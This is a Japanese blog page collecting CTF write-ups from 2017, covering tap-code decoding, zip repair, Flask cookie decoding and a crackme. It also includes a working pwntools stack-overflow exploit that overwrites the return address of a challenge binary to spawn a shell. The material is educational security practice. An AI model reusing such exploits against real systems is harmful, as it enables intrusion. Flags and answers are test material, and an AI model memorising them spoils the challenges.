2017年05月

angstromCTF 2017 writeup RUNNING IN CIRCLES

RUNNING IN CIRCLES

BINARY, 50

Our data input program was vulnerable to overflows, so we fixed that by implementing a circular buffer. Now it should be totally secure! See if you can prove us wrong and get the flag on our shell sever. The problem is available as: binary and source.

64ビットELFファイルとCソースファイルがダウンロードできます。Cソースファイルは次のようなものです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* I should probably get rid of this... */
void give_shell()
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
}

int main(int argc, char **argv)
{
char buffer[256];
int pos = 0;

printf("Welcome to the circular buffer manager:\n\n");
while(1)
{
int len;
printf("How many bytes? "); fflush(stdout);
scanf("%u", &len);
fgets(buffer, 2, stdin);

if (len == 0) break;

printf("Enter your data: "); fflush(stdout);
if (len < 256 - pos)
{
fgets(&buffer[pos], len, stdin);
pos += len;
}
else
{
fgets(&buffer[pos], 256 - pos, stdin);
len -= (256 - pos);
pos = 0;

fgets(&buffer[0], len, stdin);
pos += len;
}

printf("\n");
}

return 0;
}
最初にバイト数を入力します。256以上を入力した場合、1つ目のfgetsで256バイト読み込み、2つ目で残りを読み込むため、スタックオーバーフローを起こすことができそうです。main関数からの戻りアドレスを書き換えて、シェルを呼び出します。
main関数に入ったとき、スタックは次のような状態になっています。

no title

次のような感じでデータをセットしたいと思います。

1

下記のようなPythonコードを書きます。
#! /usr/bin/python
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./run_circles')
    cmd =  'cat ./flag.txt'
else:
    shell = ssh(host='shell.angstromctf.com', user='teamxxxxxx', password='zzzzzzzzzzzz')
    p = shell.run('/problems/running_in_circles/run_circles')
    cmd =  'cat /problems/running_in_circles/flag.txt'

p.recvuntil('How many bytes?')
p.sendline('544')

p.recvuntil('Enter your data:')
p.sendline(
    ''
    + 'A' * (256 - 1)
    + 'B' * 256
    + 'C' * 24
    + p64(0x400806) #give_shell
    )
p.recvuntil('How many bytes?')
p.sendline('0')
p.sendline(cmd)
p.sendline('exit')
p.recvall()
実行すると、次のとおりフラグを取得できました。
(略)
[DEBUG] Received 0x2b bytes:
    'actf{you_dont_just_go_around_a_circle_once}'
(略) 
フラグは、
actf{you_dont_just_go_around_a_circle_once}
です。




angstromCTF 2017 writeup KNOCK KNOCK

KNOCK KNOCK

CRYPTO, 30

You have come across a strange audio recording. Can you recover the flag? Note: The flag is not in the actf{} format.

mp3ファイルがダウンロードできます。再生すると机をたたくような音がしています。Audacityでスペクトログラムを表示します。

1

2回、3回、1回、5回、…という風に机をたたくような音がしています。全て1~5回の範囲ですので、2つセットで(1つ目の音の回数-1)×5+2つ目の音の回数=アルファベットの順番ではないかと推測できます。
いろいろググってみると、下記ページのSounds (Tap Code)という暗号が該当するようです。kを除くところがポイントですね。
https://www.geocaching.com/geocache/GC2W5R8_lesson-04-simple-substitution-ciphers-cps101?guid=fd65f123-f5a5-4ee6-8139-67cd70b1479e

1 2 3 4 5
1 a b c d e
2 f g h i j
3 l m n o p
4 q r s t u
5 v w x y z

2-3、1-5、3-1、3-5、3-2、1-5、3-5、3-1、1-5、1-1、4-3、1-5なので、この表に従って復号すると、
フラグは、
helpmeplease
です。

 


 

Insigne CTF writeup Welcome

Welcome

5

Ah, I see you are a man of culture as well!

Flag: flag{ctfftw}

フラグは、
flag{ctfftw}
です。

 

Insigne CTF writeup PwnPeAuto

PwnPeAuto

10

We asked Jarvis to make our team's automobile section but Vision intervened and is disrupting the operation. Can you stop this civil war?

Challenge is at http://35.165.205.141:8002/

問題で提示されているURLを表示すると、下記ページが表示されます。ページ内にある各リンクを順に確認していきます。
no title

"About Us"のリンクをクリックすると下記のページが表示されます。flag.txtにフラグがあるという記載があります。

1

試しにhttp://35.165.205.141:8002/flag.txtを表示してみると、フラグが表示されました。

フラグは、
flag{Stup1dJ@rv!G@veM3Aw@y}

PlaidCTF 2017 writeup zipper

zipper

Misc (50 pts)

Something doesn't seem quite right with this zip file. 

Can you fix it and get the flag?

ダウンロードしたzipファイルは壊れているようでそのままでは解凍できません。下記URLのZIPファイルフォーマットを参考にしながら、バイナリエディタでzipファイルを確認します。
https://ja.wikipedia.org/wiki/ZIP_(%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%83%95%E3%82%A9%E3%83%BC%E3%83%9E%E3%83%83%E3%83%88)#.E3.83.95.E3.82.A1.E3.82.A4.E3.83.AB.E3.83.98.E3.83.83.E3.83.80

まず、ローカルファイルヘッダは下記のようになっています。ファイル名の長さとファイル名がおかしいようです。
開始 サイズ 項目 備考
0  
4   シグネチャ 50 4B 03 04  
4  
2   展開バージョン 14 00  
6  
2   ビットフラグ 02 00  
8  
2   圧縮メソッド 08 00  
10
2   最終変更時間 FC 99  
12
2   最終変更日付 92 4A  
14
4   CRC32 3E A9 2E 53  
18
4   圧縮サイズ 46 00 00 00 70bytes
22
4   非圧縮サイズ F6 00 00 00 246bytes
26
2   ファイル名の長さ(n) 29 23 9001bytes
28
2   拡張フィールドの長さ(m)  1C 00 28bytes
30
n   ファイル名 00 00 00 00 00 00 00 00
30+n m 拡張フィールド

セントラルディレクトリファイルヘッダは下記のようになっています。これもファイル名の長さとファイル名がおかしいようです。
開始 サイズ 項目 備考
0  
4   シグネチャ  50 4B 01 02  
4  
2   作成バージョン 1E 03  
6  
2   展開バージョン 14 00  
8  
2   ビットフラグ 02 00  
10
2   圧縮メソッド 08 00  
12
2   最終変更時間 FC 99  
14
2   最終変更日付 92 4A  
16
4   CRC32 3E A9 2E 53  
20
4   圧縮サイズ 46 00 00 00 70bytes
24
4   非圧縮サイズ F6 00 00 00 246bytes
28
2   ファイル名の長さ(n) 29 23 9001bytes
30
2   拡張フィールドの長さ(m)  18 00 28bytes 
32
2   ファイルコメントの長さ 00 00  
34
2   開始ディスク番号 00 00  
36
2   内部ファイル属性 01 00  
38
4   外部ファイル属性 00 00 B4 81  
42
4   ローカルファイルヘッダの開始位置 00 00 00 00  
46
n   ファイル名 00 00 00 00 00 00 00 00  
46+n
m 拡張フィールド     

最後にセントラルディレクトリの終端レコードを確認します。これは特に問題ないようです。
開始 サイズ 項目 備考
0  
4 シグネチャ 50 4B 05 06  
4  
2 ディスク数 00 00  
6  
2 セントラルディレクトリの開始ディスク 00 00  
8  
2 セントラルディレクトリ数 01 00  
10
2   セントラルディレクトリ合計 01 00  
12
4   セントラルディレクトリサイズ 4E 00 00 00  
16
4   セントラルディレクトリ開始位置 88 00 00 00  
20
2   コメントの長さ(n)  00 00  
22 n   コメント    

それでは、zipファイルを修復してみます。
  1. ファイル名の長さが8バイトと分かりますので、ローカルファイルヘッダとセントラルディレクトリヘッダのファイル名の長さのフィールドを08 00に修正します。
  2. 次に、ローカルファイルヘッダとセントラルディレクトリヘッダのファイル名のフィールドをダミーで41 41 41 41 41 41 41 41(AAAAAAAA)に修正します。
 つまり、下図のように修正します。
1

これで解凍できるようになります。解凍したファイルをテキストエディタで確認すると下記のようになっています。
                                  
                                  
Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}               
                                  
                                  
                                  
フラグは、
PCTF{f0rens1cs_yay}
です。 

詳解 圧縮処理プログラミング
昌達 慶仁
SBクリエイティブ
2010-10-26



PlaidCTF 2017 writeup sanity check

sanity check

Misc (1 pts)

The flag is PCTF{poop}


フラグは、
PCTF{poop}
です。



PlaidCTF 2017 writeup Pykemon

Pykemon

15 hours ago
Web (151 pts)

Gotta catch them FLAGs! 

Take this with you.

問題文のリンクは下図のようなPykemonを捕まえるゲームになっています。また、そのPythonソースコードもダウンロードできるようになっています。ソースコードを確認すると、Flaskで構築されたアプリケーションであることが分かります。
no title

まずは普通にゲームをやってみます。アイコンをクリックするとピケモンを捕獲できるようです。しかし、FLAG(旗のアイコン)はクリックしても、下図のように取得することができません。
1

pykemon.pyに、Pykemonクラスがありフラグが記載されています。run.pyのpcatch()関数で捕獲チェックしていますが、FLAGのrarityが0であるため絶対に取得することができないようになっています。
さらにrun.pyを見てみるとsession変数にRoomクラスのインスタンスを設定しているようです。Flaskではセッション情報をCookieに持たせているそうですので、ここからFLAGを取得できないかやってみます。

それではCookieを確認してみます。session変数が下記のように設定されています。
.eJztV0tvm0oU_isVay94mLRYyoa0zGDFVMY1r6qqYIYLmAEjY2JD5P_eA24cB8v2vZKzie4O5szre8w5M89c4DNWciOBH3DEr6J4zY2euaJOw2yZc6Ofv3YDbrVcZm9bnzkalmSVFOuk_X_mPgXciLNQXJBanYb2Og5spdJRHMM_C5C1oHhcuCLjw5nQUKTUvi3nOlafqG0sPWcSBeIw8h2z0RH829aK1MMI5mNEnEeuo248W6t1bD7paMxcUVl7s-N5tTLAaeSKsF5GmfegptQZF0FGIgpz6EguPDHmdUyXvr1luqbKvqgtfDyPiLhlnqM2j9H9PQdY44IbDe8GXO5n4QHYHLOVCxul032nPCHpxQ5FQk9jP6ZiG1v5q2RdwyrAeFnA9-s0vi3Enmg1j9JhgxVBcs7tdoMzlIsxCxKV9xFr_sJat1QSkVWeNCl1xHiAz2hmAX1qTB2DgSR8UKsJyay4pecY-t2XU-i5J24Lgq3Mi87DP-nUo-A1vnCHxzTIl2nwRFr6jip4mXuFivk3Y27m6-8TbP5jaErjf9Wq0FIMA5Gt35g1wfwB5mexB9NMt6q5OQPvOHgMq2tvSH0M5wIa0Stdm1xDgRmcDfoEorZnaQHej90MPIuUTMfjTkiKQNxaLSg24Ay4kWfLvO-MWXcGMrDNXuANyZScZNpaRyYI_S1ybTnVkVVRZO3PHzJkF-YjEqwhzqsXdpThqQn2m7pggDcdeuLvY4uUP2ZKuiw8yVgOTr5OVwopZKW3_geIoW2VAVKk47MAHo_pg1p74P3AHpdtunFn6t9xSg0ppSDISl17ExG0jSlmG-pMDmZRpFM6usHnqDgEezR07d9_7Gd-oeHuiv-xBXrKG8hl97fxvqjczvu6fGPvw1mnMXi7L1YSYIs9PqgNaWtCxhatWBRpKUFK6c2G0cyZRj7SwATbrgaAz-VubOt5rEItKKMAsQ3Uldc8388Chw2cY6PfoSfwPtZM32SEL5cFhk1J_4Ka_yBwu-CtBI42txT4w1wQ3ul-cH_7-8EHYfxOeB_K3e3NKYfJedcx431JMuDKZRaBZME3q4CuZUtTiM3aswX2mKgaVPTqQEN3XWvHaQ1QycjDBiSYAo1KRSQzDnKzDGcq5BmDh6oP_cayjoQnmr3cCCZRKwtIDLQrQpBNq0vZrtvoOfoOwR51XbvxVX_jVuUydZCqeXd2rYx9FLfK8vu4dS78_4C4wQPi1-DlKfubLKscXrwCXPFW7Xr8bvcHqwDZuA.C-8epQ.AEM0acIhD0NV5MEhWxp8dw2AOUY
 Cookieのsession変数の最初の.(ピリオド)の部分を、下記のようにデコードします。
$ python
>>> import zlib
>>> import base64
>>> cookie_str = "eJztV0tvm0oU_isVay94mLRYyoa0zGDFVMY1r6qqYIYLmAEjY2JD5P_eA24cB8v2vZKzie4O5szre8w5M89c4DNWciOBH3DEr6J4zY2euaJOw2yZc6Ofv3YDbrVcZm9bnzkalmSVFOuk_X_mPgXciLNQXJBanYb2Og5spdJRHMM_C5C1oHhcuCLjw5nQUKTUvi3nOlafqG0sPWcSBeIw8h2z0RH829aK1MMI5mNEnEeuo248W6t1bD7paMxcUVl7s-N5tTLAaeSKsF5GmfegptQZF0FGIgpz6EguPDHmdUyXvr1luqbKvqgtfDyPiLhlnqM2j9H9PQdY44IbDe8GXO5n4QHYHLOVCxul032nPCHpxQ5FQk9jP6ZiG1v5q2RdwyrAeFnA9-s0vi3Enmg1j9JhgxVBcs7tdoMzlIsxCxKV9xFr_sJat1QSkVWeNCl1xHiAz2hmAX1qTB2DgSR8UKsJyay4pecY-t2XU-i5J24Lgq3Mi87DP-nUo-A1vnCHxzTIl2nwRFr6jip4mXuFivk3Y27m6-8TbP5jaErjf9Wq0FIMA5Gt35g1wfwB5mexB9NMt6q5OQPvOHgMq2tvSH0M5wIa0Stdm1xDgRmcDfoEorZnaQHej90MPIuUTMfjTkiKQNxaLSg24Ay4kWfLvO-MWXcGMrDNXuANyZScZNpaRyYI_S1ybTnVkVVRZO3PHzJkF-YjEqwhzqsXdpThqQn2m7pggDcdeuLvY4uUP2ZKuiw8yVgOTr5OVwopZKW3_geIoW2VAVKk47MAHo_pg1p74P3AHpdtunFn6t9xSg0ppSDISl17ExG0jSlmG-pMDmZRpFM6usHnqDgEezR07d9_7Gd-oeHuiv-xBXrKG8hl97fxvqjczvu6fGPvw1mnMXi7L1YSYIs9PqgNaWtCxhatWBRpKUFK6c2G0cyZRj7SwATbrgaAz-VubOt5rEItKKMAsQ3Uldc8388Chw2cY6PfoSfwPtZM32SEL5cFhk1J_4Ka_yBwu-CtBI42txT4w1wQ3ul-cH_7-8EHYfxOeB_K3e3NKYfJedcx431JMuDKZRaBZME3q4CuZUtTiM3aswX2mKgaVPTqQEN3XWvHaQ1QycjDBiSYAo1KRSQzDnKzDGcq5BmDh6oP_cayjoQnmr3cCCZRKwtIDLQrQpBNq0vZrtvoOfoOwR51XbvxVX_jVuUydZCqeXd2rYx9FLfK8vu4dS78_4C4wQPi1-DlKfubLKscXrwCXPFW7Xr8bvcHqwDZuA"
>>> zlib.decompress(base64.urlsafe_b64decode(cookie_str+b"="*(-len(cookie_str) % 4)))
デコードして得た文字列の中から、"rarity": 0の部分がFLAGの情報になりますので、下記に抽出します。
(略)
            {
                "description": {
                    " b": "UENURntOMHRfNF9zaDFueV9NNGcxazRycH0="
                }, 
                "hp": 72, 
                "name": {
                    " b": "RkxBRw=="
                }, 
                "nickname": {
                    " b": "RkxBRw=="
                }, 
                "pid": {
                    " b": "RkxBRzcy"
                }, 
                "rarity": 0, 
                "sprite": {
                    " b": "aW1hZ2VzL2ZsYWcucG5n"
                }
            }, 
(略)
descriptionにフラグ値が記載されているはずなので、base64でデコードします。
フラグは、
PCTF{N0t_4_sh1ny_M4g1k4rp}
です。

 
 

PlaidCTF 2017 writeup logarithms are hard

logarithms are hard

Misc (10 pts)

What is e^(1.000000001)? 

Please enter in decimal with 7 places. 
(For example, if the answer was 2.71828183... the flag would be 2.7182818 )

Pythonでe^(1.000000001)を計算してみます。
>python
Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AM
D64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import math
>>> print(math.e**(1.000000001))
2.718281831177327
2.7182818をsubmitしてみますが、フラグではないようです。

logarithms bugでググります。電卓のlog計算のバグがあるようです。下記サイトで、yxの10の9乗のところの値が怪しいです。

フラグは、
2.7191928

DEF CON CTF Qualifier 2017 writeup crackme1

crackme1

Baby's First, 15 points


objdumpコマンドで逆アセンブルします。
$ objdump -s -D 4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
まずenter code:とプロンプトが表示されます。次に入力した文字列を読み込んでc6c関数を呼び出しています。最後にsum isと出力してプログラム終了となっています。
0000000000000770 <.text>:
 770: 53 push   %rbx
 771: be 51 00 00 00 mov    $0x51,%esi
 776: bf 01 00 00 00 mov    $0x1,%edi
 77b: e8 c8 ff ff ff callq  748 #calloc
 780: 48 8d 3d 42 07 00 00 lea    0x742(%rip),%rdi #enter code:
 787: 48 89 c3 mov    %rax,%rbx
 78a: e8 a1 ff ff ff callq  730 #puts
 78f: 48 8b 3d 8a 18 20 00 mov    0x20188a(%rip),%rdi #<stdout>
 796: e8 a5 ff ff ff callq  740 #fflush
 79b: 48 8b 15 86 18 20 00 mov    0x201886(%rip),%rdx #<stdin>
 7a2: be 50 00 00 00 mov    $0x50,%esi
 7a7: 48 89 df mov    %rbx,%rdi
 7aa: e8 79 ff ff ff callq  728 #fgets
 7af: 48 89 df mov    %rbx,%rdi
 7b2: e8 b5 04 00 00 callq  c6c #
 7b7: 48 8d 3d 17 07 00 00 lea    0x717(%rip),%rdi #sum is %ld
 7be: 48 89 c6 mov    %rax,%rsi
 7c1: 31 c0 xor    %eax,%eax
 7c3: e8 58 ff ff ff callq  720 #printf
 7c8: 31 c0 xor    %eax,%eax
 7ca: 5b pop    %rbx
 7cb: c3 retq
それではc6c関数を見てみます。c6c関数の中では93b関数、955関数、971関数、・・・というように何度も関数をcallしています。
 c6c: 55                   push   %rbp
 c6d: 53                   push   %rbx
 c6e: 48 89 fd             mov    %rdi,%rbp
 c71: 48 83 ec 08           sub    $0x8,%rsp
 c75: 48 0f be 3f           movsbq (%rdi),%rdi
 c79: e8 bd fc ff ff       callq  93b
 c7e: 48 0f be 7d 01       movsbq 0x1(%rbp),%rdi
 c83: 48 c1 f8 03           sar    $0x3,%rax
 c87: 48 89 c3             mov    %rax,%rbx
 c8a: e8 c6 fc ff ff       callq  955
 c8f: 48 0f be 7d 02       movsbq 0x2(%rbp),%rdi
 c94: 48 01 c3             add    %rax,%rbx
 c97: 48 c1 fb 03           sar    $0x3,%rbx
 c9b: e8 d1 fc ff ff       callq  971
 (略)
93b関数では下記のとおり"y"と比較し、一致しない場合は1を終了コードとしてexit(プログラム終了)しています。
 93b: 48 83 ff 79           cmp    $0x79,%rdi #y
 93f: 74 0e                 je     94f <_init+0x257>
 941: 48 83 ec 08           sub    $0x8,%rsp
 945: bf 01 00 00 00       mov    $0x1,%edi
 94a: e8 09 fe ff ff       callq  758 <_init+0x60> #exit
 94f: b8 a7 00 00 00       mov    $0xa7,%eax
 954: c3                   retq   
 955関数では"e"と比較して、一致しない場合は2を終了コードとしてexitしています。
 955: 48 83 ff 65           cmp    $0x65,%rdi #e
 959: 74 0e                 je     969 <_init+0x271>
 95b: 48 83 ec 08           sub    $0x8,%rsp
 95f: bf 02 00 00 00       mov    $0x2,%edi
 964: e8 ef fd ff ff       callq  758 <_init+0x60> #exit
 969: 48 c7 c0 9b ff ff ff mov    $0xffffffffffffff9b,%rax
 970: c3                   retq   
 971関数では"s"と比較して、一致しない場合は3を終了コードとしてexitしています。
 971: 48 83 ff 73           cmp    $0x73,%rdi #s
 975: 74 0e                 je     985 <_init+0x28d>
 977: 48 83 ec 08           sub    $0x8,%rsp
 97b: bf 03 00 00 00       mov    $0x3,%edi
 980: e8 d3 fd ff ff       callq  758 <_init+0x60> #exit
 985: b8 a0 00 00 00       mov    $0xa0,%eax
 98a: c3                   retq   
以降も同様に1文字ずつ比較しています。その文字を全てつなげると下記の文字列になります。
yes and his hands shook with ex
ncコマンドでサーバに接続すると、base64で送信するように指示されます。
$ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline
先ほど得た文字列をbase64でエンコードします。
$ echo yes and his hands shook with ex | base64
eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=
このbase64エンコード文字列を入力すると、下記の通りフラグが得られます。
The flag is: important videos best playlist Wigeekuk8
フラグは、
important videos best playlist Wigeekuk8
です。

 
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー